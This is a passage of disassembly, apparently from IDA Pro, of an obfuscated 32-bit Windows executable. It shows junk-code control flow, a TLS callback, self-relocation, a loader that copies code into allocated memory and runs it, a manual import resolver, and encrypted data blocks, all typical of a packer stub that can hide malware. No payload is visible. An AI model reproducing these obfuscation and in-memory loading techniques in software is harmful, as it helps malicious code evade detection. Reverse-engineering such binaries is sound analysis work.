; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4749EA

loc_475D8F:				; CODE XREF: sub_4749EA:loc_474E24j
		rol	eax, 3
		push	offset sub_4734B6
		jmp	loc_474B40
; END OF FUNCTION CHUNK	FOR sub_4749EA
; ---------------------------------------------------------------------------
		db 0
byte_475D9D	db 0E8h, 6Eh, 0E7h	; DATA XREF: isk1wxzg:loc_474B68o
		dd 0EFC1FFFFh, 241C8706h, 241C875Bh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2

loc_475DAE:				; CODE XREF: isk1wxzg:00473FD7j
		jmp	locret_474B83
; ---------------------------------------------------------------------------
		align 4
		dd 5AED6800h, 2CE90047h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_475DBF:				; CODE XREF: isk1wxzg:004759E3j
		mov	edx, 474E56h
		jmp	loc_474C66

; =============== S U B	R O U T	I N E =======================================



sub_475DC9	proc near		; CODE XREF: isk1wxzg:0047592Dp

; FUNCTION CHUNK AT 0047476B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00475932 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475AF5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00475D5A SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx

loc_475DCD:				; CODE XREF: isk1wxzg:004739B5j
		jz	loc_475AF5
		jno	loc_475486
		mov	edx, [eax]
		jmp	loc_475D5A
sub_475DC9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, edx
		xor	ebp, 1D7DB7DAh
		jmp	sub_475B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_475DED:				; CODE XREF: sub_47580E:loc_473976j
		and	ebx, 0CDF19859h
		add	ebx, 7B85A911h
		jmp	loc_473B40
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------

loc_475DFE:				; CODE XREF: isk1wxzg:00473DD6j
		pop	esi
		or	eax, 1158843Ah
		add	eax, 864A0130h
		push	offset word_473FF2
		jmp	locret_473FE9
; ---------------------------------------------------------------------------
		align 2

loc_475E16:				; DATA XREF: isk1wxzg:00473F51o
		mov	ebp, esp
		push	473C6Dh
		jmp	locret_475B64
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 0E85B0F03h, 0FFFFF8C4h
; ---------------------------------------------------------------------------

loc_475E2C:				; CODE XREF: isk1wxzg:loc_475055j
		mov	ebp, [eax]
		xchg	ecx, [esp]
		xchg	edi, [esp]
		mov	ecx, edi
		pop	edi
		mov	byte ptr [ebx],	0C6h
		pop	ebx
		jmp	near ptr dword_4749AC+0Ch
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_475E41:				; CODE XREF: sub_4744DB:loc_475B3Dj
		pop	ecx
		and	ecx, 72CCA884h
		rol	ecx, 0Eh
		xor	ecx, 7DDC579Eh

loc_475E51:				; CODE XREF: isk1wxzg:004759D5j
		push	offset sub_474524
		jmp	nullsub_388
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		pop	eax
		xor	eax, 183E8306h
		sub	eax, 0BE9EB8F4h
		add	eax, 0C7A86638h
		sub	eax, 0B5BF6A33h
		add	eax, 3BDBE3D2h
		jmp	loc_475270
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4734CE

loc_475E80:				; CODE XREF: sub_4734CE:loc_4757D3j
		push	2A3E9355h
		pop	ecx
		add	ecx, 0E01F4ED4h
		rol	ecx, 16h
		jmp	loc_4745C0
; END OF FUNCTION CHUNK	FOR sub_4734CE
; ---------------------------------------------------------------------------
		dd 0C0810000h, 0E0F9B11Ah
; ---------------------------------------------------------------------------

loc_475E9C:				; DATA XREF: sub_473E7B+7ADo
		xchg	eax, [esp]
		retn
; ---------------------------------------------------------------------------
		dd 0E9580000h, 0FFFFFA85h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744DB

loc_475EAA:				; CODE XREF: sub_4744DB+6j
		call	sub_476204
		nop
		push	esi
		push	0E379A19Eh
		jmp	loc_4754DA
; END OF FUNCTION CHUNK	FOR sub_4744DB
; ---------------------------------------------------------------------------
		align 4
dword_475EBC	dd 7A2D6852h, 815A8182h, 6D6DA9EAh, 3DCA81F0h, 0C1C4D20Ch
					; DATA XREF: sub_473D98+14FEo
		dd 0C6E90BC2h, 0FFFFE6h, 550000C3h, 2C87E98Bh, 0E8736824h
		dd 77E903D6h, 0FFFFFEh,	0FFF446E8h, 0E665E9FFh,	0C80BFFFFh
		dd 0FFECB1E9h, 530000FFh, 1C87DE8Bh, 6EB85024h,	0E900475Ch
		dd 0FFFFD5E5h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4734B6

loc_475F11:				; CODE XREF: sub_4734B6+6j
		mov	byte ptr [ebx],	8Ah
		pop	ebx
		add	eax, 0A74BD9BFh
		xor	eax, 27ADA02Ah
		and	eax, 0E2D344E8h
		call	sub_474EC1
		mov	[esi], ebp
		jmp	sub_476068
; END OF FUNCTION CHUNK	FOR sub_4734B6
; ---------------------------------------------------------------------------

loc_475F33:				; CODE XREF: isk1wxzg:0047493Aj
		add	ecx, 5BD6BDEBh
		xchg	eax, ebp
		or	al, 24h
		jmp	loc_473F50
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Dh
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_401
		rol	byte ptr [eax],	1
		retn
; ---------------------------------------------------------------------------
		dd 2A676851h, 8159741Fh, 31E30AE1h, 0DA62E996h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_475F5F:				; CODE XREF: isk1wxzg:0047397Cj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475F62:				; CODE XREF: isk1wxzg:00474B62j
		jmp	near ptr dword_473504+7Ah
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_392. PRESS KEYPAD	"+" TO EXPAND]
		align 2
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_475F6A:				; CODE XREF: sub_473CB1+22EAj
		jmp	loc_474CDE
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------

loc_475F6F:				; CODE XREF: isk1wxzg:00473C1Fj
					; isk1wxzg:00475680j
		xchg	ebx, [esp]
		jmp	loc_47551B
; ---------------------------------------------------------------------------
		align 4
		dd 0F313E800h, 40E8FFFFh, 0FFFFDEh, 2434875Bh, 0E95ECE8Bh
		dd 0FFFFE413h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_475F90:				; CODE XREF: sub_473CB1:loc_474783j
		mov	byte ptr [ebx],	3
		pop	ebx
		pop	eax
		or	eax, 34FEDDF0h
		jmp	loc_475F6A
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		dd 7C60000h, 68535FFFh,	3B401D9h, 8B243C87h, 0C3C15FDFh
		dd 0DC82E915h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_475FBC:				; CODE XREF: sub_47580E:loc_473B40j
		call	sub_4757DA

loc_475FC1:				; CODE XREF: sub_4744DB:loc_47469Fj
		jmp	loc_475260
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475FC7:				; CODE XREF: isk1wxzg:00475C27j
		jmp	near ptr dword_473F84+29h
; ---------------------------------------------------------------------------
		dd 0EA40E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_475FD2:				; CODE XREF: isk1wxzg:004742F3j
		jmp	near ptr dword_473778+16h
; ---------------------------------------------------------------------------

loc_475FD7:				; CODE XREF: isk1wxzg:0047373Bj
		jmp	loc_4743C0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474524

loc_475FDE:				; CODE XREF: sub_474524-F46j
		jmp	nullsub_384
; END OF FUNCTION CHUNK	FOR sub_474524
; ---------------------------------------------------------------------------
		align 4
		dd 878702C6h, 0D08B2404h, 0B2D18B58h, 77E92414h, 0FFFFEAh
		dd 840FD209h, 0FFFFFEA2h, 0D6BAE851h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_476007:				; CODE XREF: isk1wxzg:0047435Fj
		jmp	locret_474443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474DF6

loc_47600C:				; CODE XREF: sub_474DF6-1842j
		pop	eax
		xor	eax, 5B9FE2C6h
		push	esi
		mov	esi, offset byte_474229
		jmp	loc_475629
; END OF FUNCTION CHUNK	FOR sub_474DF6
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 51E906E8h, 0FFFFF3h,	7B95BD00h, 0EB81E5C3h, 2AEE556Eh
		dd 0FFD8A0E9h, 76F881FFh, 0E9270D3Bh, 0FFFFE4EDh, 0EDE0F381h
		dd 1C879504h, 0C015FF24h, 0E90044F0h, 0FFFFF92Eh, 0FFDC33E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4752B4

loc_47605D:				; CODE XREF: sub_4752B4:loc_475BDAj
		push	offset loc_475CDB
		jmp	loc_474E8E
; END OF FUNCTION CHUNK	FOR sub_4752B4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_476068	proc near		; CODE XREF: isk1wxzg:00474B79p
					; sub_4734B6+2A78j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00474E87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475172 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	esi, [esp+0]

loc_47606F:				; CODE XREF: isk1wxzg:00474C07j
		jmp	loc_474E87
sub_476068	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 33E80000h, 0FFFFE9h
; ---------------------------------------------------------------------------

loc_47607C:				; CODE XREF: isk1wxzg:00473D92j
		add	edx, 0AAD31CFDh
		add	edx, ebp
		call	sub_47580E
		add	bl, al
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4755D4

loc_47608D:				; CODE XREF: sub_4755D4+Bj
		jmp	loc_4758AE
; END OF FUNCTION CHUNK	FOR sub_4755D4
; ---------------------------------------------------------------------------
		align 4
		dd 7BB85056h, 0E9004759h, 0FFFFEE5Ah
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4760A2	proc near		; CODE XREF: sub_4744DB+70Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004761F8 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_436000
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax

loc_4760BA:				; CODE XREF: sub_4760A2+15Cj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_476152
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_44F0B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_4760E7
		push	ebx
		call	ds:dword_44F0B8	; LoadLibraryA
		or	eax, eax
		jz	loc_47614A

loc_4760E7:				; CODE XREF: sub_4760A2+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]

loc_4760EF:				; CODE XREF: sub_4760A2+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_4760FF
		mov	eax, [esi+10h]

loc_4760FF:				; CODE XREF: sub_4760A2+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_4761F8
		test	ebx, 80000000h

loc_47611C:				; CODE XREF: isk1wxzg:loc_47549Aj
		jnz	loc_476126
		lea	ebx, [ebx+edx+2]

loc_476126:				; CODE XREF: sub_4760A2:loc_47611Cj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_44F0BC	; GetProcAddress
		or	eax, eax
		jz	loc_47614A
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_4760EF
; ---------------------------------------------------------------------------
		align 2

loc_47614A:				; CODE XREF: sub_4760A2+3Fj
					; sub_4760A2+96j
		push	ebx
		mov	eax, ebx
		call	sub_47615A

loc_476152:				; CODE XREF: sub_4760A2+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4760A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_47615A	proc near		; CODE XREF: sub_4760A2+ABp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh

loc_476191:				; CODE XREF: sub_47615A+98j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_4761D1
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_44F104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_44F0C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4761D1:				; CODE XREF: sub_47615A+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_476191
sub_47615A	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4760A2

loc_4761F8:				; CODE XREF: sub_4760A2+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_4760BA
; END OF FUNCTION CHUNK	FOR sub_4760A2
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_476204	proc near		; CODE XREF: sub_4744DB:loc_475EAAp
					; DATA XREF: sub_476204o ...
		lea	eax, sub_476204
		lea	edx, sub_476204
		sub	edx, eax
		jz	sub_476278
		push	esi
		push	ebx
		mov	esi, offset off_44F110
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	loc_476276
		mov	ebx, edx

loc_47622C:				; CODE XREF: sub_476204+3Dj
					; sub_476204+59j ...
		add	ebx, eax
		add	[ebx], edx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	loc_476248
		and	eax, 0FFh
		jmp	loc_47622C
; ---------------------------------------------------------------------------
		align 4

loc_476248:				; CODE XREF: sub_476204+32j
		add	ebx, 0FEh

loc_47624E:				; CODE XREF: sub_473C4E:loc_473E40j
		or	eax, eax
		jp	loc_476264
		lodsw
		and	eax, 0FFFFh
		jmp	loc_47622C
; ---------------------------------------------------------------------------
		align 4

loc_476264:				; CODE XREF: sub_476204+4Cj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	loc_47622C

loc_476276:				; CODE XREF: sub_476204+20j
		pop	ebx
		pop	esi
sub_476204	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_476278	proc near		; CODE XREF: sub_476204+Ej startp ...
		mov	eax, offset sub_4734B6

locret_47627D:				; DATA XREF: sub_47627E+8o
		retn
sub_476278	endp


; =============== S U B	R O U T	I N E =======================================



sub_47627E	proc near		; DATA XREF: isk1wxzg:00474F5Co

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp+14h+var_14]
		sub	ebx, offset locret_47627D
		mov	eax, 23F6h
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_44F0C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset sub_4734B6
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_473332
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp+10h+var_10]
		push	8000h
		push	0
		push	eax
		mov	eax, 44F0C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_476333
		mov	ebx, eax
		call	loc_476394
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_476333
		push	ebx
		mov	ebx, ecx

loc_4762FE:				; CODE XREF: sub_47627E+91j
					; sub_47627E+A4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_476311
		and	eax, 0FFh
		jmp	short loc_4762FE
; ---------------------------------------------------------------------------

loc_476311:				; CODE XREF: sub_47627E+8Aj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_476324
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_4762FE
; ---------------------------------------------------------------------------

loc_476324:				; CODE XREF: sub_47627E+9Bj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_4762FE
		pop	eax

loc_476333:				; CODE XREF: sub_47627E+6Dj
					; sub_47627E+7Bj
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_47627E	endp

; ---------------------------------------------------------------------------
		dd 7991237Ah, 2DE6A43Eh, 1A2B8DF7h, 6A3E87CFh, 5FC8D08Fh
		dd 0C4F392DDh, 4E443626h, 6D7F336Eh, 0B137FBFBh, 83C3B592h
		dd 0B9563373h, 35E65AC5h, 3D5ED8CBh, 891266EEh,	0ADBF5F3Ah
		dd 84F8B1E2h, 384611Fh

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_476278
		add	eax, 9DDh
		jmp	eax
start		endp


; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: isk1wxzg:TlsCallbackso
		call	sub_476278
		add	eax, 52Bh
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------

loc_476394:				; CODE XREF: sub_47627E+71p
		call	sub_47648B
		mov	eax, 8004734h
		push	ds
		adc	[edx+18h], ebx
		pop	esi
		outsb
		inc	esi
		adc	eax, [ecx-17h]
		or	esi, [esi]
		sbb	edx, [ecx-47h]
		xor	[ebp+7Eh], al
		push	es
		and	[esi], cl
		and	al, 6
		sbb	[edx], dh
		add	[ecx], ecx
		push	es
		sub	al, 2Ch
		pop	ds
		xor	[ebx+ebx*8+0E0E0B9Ch], al
		or	edx, [eax]
		dec	ebp
		sub	ecx, [ecx]
		and	ds:251A0743h, cl
		and	[edi], al
		and	dl, ds:11D4817h
		and	eax, 612A0E0Dh
		db	2Eh
		adc	ecx, edx
		imul	esp, [edi], 0A081A07h
		adc	al, 71h
		sub	esp, [ebp+29h]
		push	es
		push	ecx
		fstp	qword ptr [esi]
		db	67h
		push	ss
		or	[edi], ch
		push	ds
		pop	ebx
		push	es
		xchg	eax, esi
		sbb	eax, 8D27160Eh
		sub	al, 0FEh
		or	eax, [eax]
		das
		push	cs
		push	edi
		or	dh, [edi]
		pop	es
		push	ds
		sub	al, 26h
		or	[edi], cl
; ---------------------------------------------------------------------------
		db 0Fh
		dd 3A2D010Bh, 41A4371h,	989852Bh, 10130614h, 3D692E32h
		dd 60E7502h, 8450706h, 1005282Eh, 712372Dh, 1081D18h, 753110Fh
		dd 3C024E1Ch, 0C0A0A09h, 0FE0D4607h, 22AB002Dh,	2C1D4115h
		dd 0C482B39h, 89102D06h, 42251811h, 3030315h, 6E411B03h
		dd 42180E15h, 23480819h, 11802965h, 1F0A3C6Fh, 10E3106h
		dd 6B423509h, 36CC0C2Ah, 111350Bh, 8A530B17h, 0FF0B4004h
		db 3 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_47648B	proc near		; CODE XREF: isk1wxzg:loc_476394p
		pop	esi
		retn
sub_47648B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 90E7h
		dd 8E1CC21Bh, 0FAF0CAD1h, 246A2C61h, 2E711AD3h,	0F7E2A36Ah
		dd 89FEA3EFh, 0FF2A9650h, 0A4950E17h, 6B9A73B5h, 0B300B5BCh
		dd 0ADC000B6h, 0D5EB6CEDh, 4CE6C6CAh, 401FFD31h, 0DDC722B1h
		dd 0A3143C73h, 804C83C9h, 24BE20CEh, 0E060B960h, 0FB3D47BDh
		dd 0B322B8A8h, 386A0BD5h, 0D9F9255Fh, 0AC7282ADh, 7337A88Eh
		dd 5D5F3730h, 83D5D9EFh, 0AA7BAEE9h, 22820432h,	1D04CB94h
		dd 49F7673Eh, 39F95D85h, 319B0469h, 89ED0D33h, 8DE31A27h
		dd 0A1739D9Ah, 7ECB74D3h, 0BB47CB8Ch, 4B811FF2h, 829F24F4h
		dd 0FD3B98D6h, 94A2575Fh, 0E65F683h, 16FD18E1h,	342D451Bh
		dd 0C2E13A7Eh, 0DF945116h, 0A63F51D0h, 0B3B601DAh, 2FE2557Ch
		dd 0EBDD1E89h, 0A92B89DDh, 7BBB4FB2h, 698A59Ch,	0B291359Fh
		dd 58641F93h, 78F0A2ADh, 832C4C45h, 0A5872863h,	64F400CFh
		dd 0C0FFFF83h, 73C1013Eh, 15C0891Ah, 576EFB68h,	36521A94h
		dd 0B1D4FD64h, 0FCB46773h, 6CB3BB08h, 74E0F94Dh, 0EF625A72h
		dd 1A8426A9h, 0CB2A9BFEh, 0A1B98476h, 8817C35Ch, 98EF34CCh
		dd 26F614FBh, 0A1E8261Fh, 3B6766D5h, 0C2E662C4h, 0F1BEB554h
		dd 0E17CDF4h, 0E3FC32DDh, 0AD289C4Bh, 0BD98460Ch, 9DEE594Fh
		dd 3A84F865h, 866F0DFCh, 0C4840203h, 61BC8D85h,	0DE83559Bh
		dd 0CBA796FDh, 35F08182h, 280h dup(0)
isk1wxzg	ends

; Section 8. (virtual address 00077000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00077000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_4d6av_km	segment	para public 'DATA' use32
		assume cs:_4d6av_km
		;org 477000h
		dd 4F000h, 10h,	37A837A4h, 37E837B8h, 5E000h, 0Ch, 3D36h
		dd 60000h, 0Ch,	3900h, 61000h, 10h, 36A835EEh, 3F3h dup(0)
_4d6av_km	ends

; Section 9. (virtual address 00078000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00078000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 478000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start